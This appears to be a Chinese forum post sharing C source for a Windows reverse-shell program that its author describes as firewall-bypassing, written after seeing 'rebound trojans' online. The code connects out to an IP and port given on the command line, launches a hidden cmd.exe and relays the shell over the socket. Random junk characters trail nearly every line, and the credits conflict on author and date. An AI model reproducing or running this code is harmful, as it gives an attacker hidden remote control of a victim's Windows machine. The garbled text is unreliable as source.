Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 }\HN&@  
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/* ============================== @\|_  
Rebound port in Windows NT R_sr?V|"  
By wind,2006/7 6
^]!gR#B  
===============================*/ E"+Q
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#include 5&v~i\Q  
#include RRRCS]y7$t  
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#pragma comment(lib,"wsock32.lib") ^Wc@oa`  
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void OutputShell(); FrTi+& <  
SOCKET sClient; AWP"b?^G|  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]|MEx{BG-  
A%`[mc]4#  
void main(int argc,char **argv) k\WR ]  
{
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WSADATA stWsaData; G'6@+$ppS  
int nRet; Qp/QaVQ+  
SOCKADDR_IN stSaiClient,stSaiServer; BRlT7grgq  
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if(argc != 3) ?YZ- P{rTS  
{ =at@Vp/y  
printf("Useage:\n\rRebound DestIP DestPort\n"); 7(qE0R&@  
return; P"W2(d  
} &Q>k7L!  
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WSAStartup(MAKEWORD(2,2),&stWsaData); [-\%4  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D@Vt^_  
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stSaiClient.sin_family = AF_INET; ;?8_G%va  
stSaiClient.sin_port = htons(0); J@4Bf  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); xYmxc9)2  
Wn(6,MDUN  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) kO|L bQ@=q  
{ oW<5|FaN  
printf("Bind Socket Failed!\n"); 9\/xOwR  
return; \~fONBY  
} {5F-5YL+>  
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stSaiServer.sin_family = AF_INET; $e*ce94  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); m|{3),#V  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); }HY-uQ%@g  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Cq'KoN%nQ  
{ _>| =L W@7  
printf("Connect Error!"); R~)\3] "2m  
return; %@.v2 cT  
} kg'o&^/=  
OutputShell(); :P<]+\
m  
} KU8Jbl*   
B5X(ykaX~  
void OutputShell() f6p-s y>  
{ G5CI<KRK#  
char szBuff[1024]; *q()f\  
SECURITY_ATTRIBUTES stSecurityAttributes; @>p<3_Y1  
OSVERSIONINFO stOsversionInfo; 5*1D$mxD"  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; C}_ ojcR  
STARTUPINFO stStartupInfo; ; mZW{j  
char *szShell; !4^C #{$  
PROCESS_INFORMATION stProcessInformation; m^bNuo  
unsigned long lBytesRead; MOn  
8P1=[i]  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); @ Wd9I;hWv  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ]=>F.GE  
stSecurityAttributes.lpSecurityDescriptor = 0; :E:38q,hG  
stSecurityAttributes.bInheritHandle = TRUE; 8$0rR55  
\3pc"^W  
H[S%J3JI  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); qYlhlHD  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); T~Gvp0r}h  
k} |   
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); #MRMNL@   
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )pq;*~IBI  
stStartupInfo.wShowWindow = SW_HIDE; ,M^P!  
stStartupInfo.hStdInput = hReadPipe; l]8D7(g   
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @JyK|.b
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GetVersionEx(&stOsversionInfo); X22[tqg;&  
:TJv=T'p'  
switch(stOsversionInfo.dwPlatformId) 0cJWJOj&  
{ yuat" Pg  
case 1: R}q>O5O  
szShell = "command.com"; .=X}cJ]`[  
break;
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default: $shoasSuI  
szShell = "cmd.exe"; :9^;Qv*  
break;
&(xH$htv1  
} i 7x7xtq  
L{h%f4Du#  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); A29gz:F(  
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send(sClient,szMsg,77,0); 1 D<_
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while(1) J"=vE=  
{ .HkL2m  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ?TU}~}  
if(lBytesRead) STxKE %l  
{ 9J9)AV  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); fjs [f'L  
send(sClient,szBuff,lBytesRead,0); Q\ U:~g3  
} iZaI_\"__  
else !f&Kf,#b`  
{ ?kB2iU_f+  
lBytesRead=recv(sClient,szBuff,1024,0); N4L|;?  
if(lBytesRead<=0) break; j(RWO  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); j^^Ap  
} =jX8.K4]  
} 1:f9J  
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return; }>
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}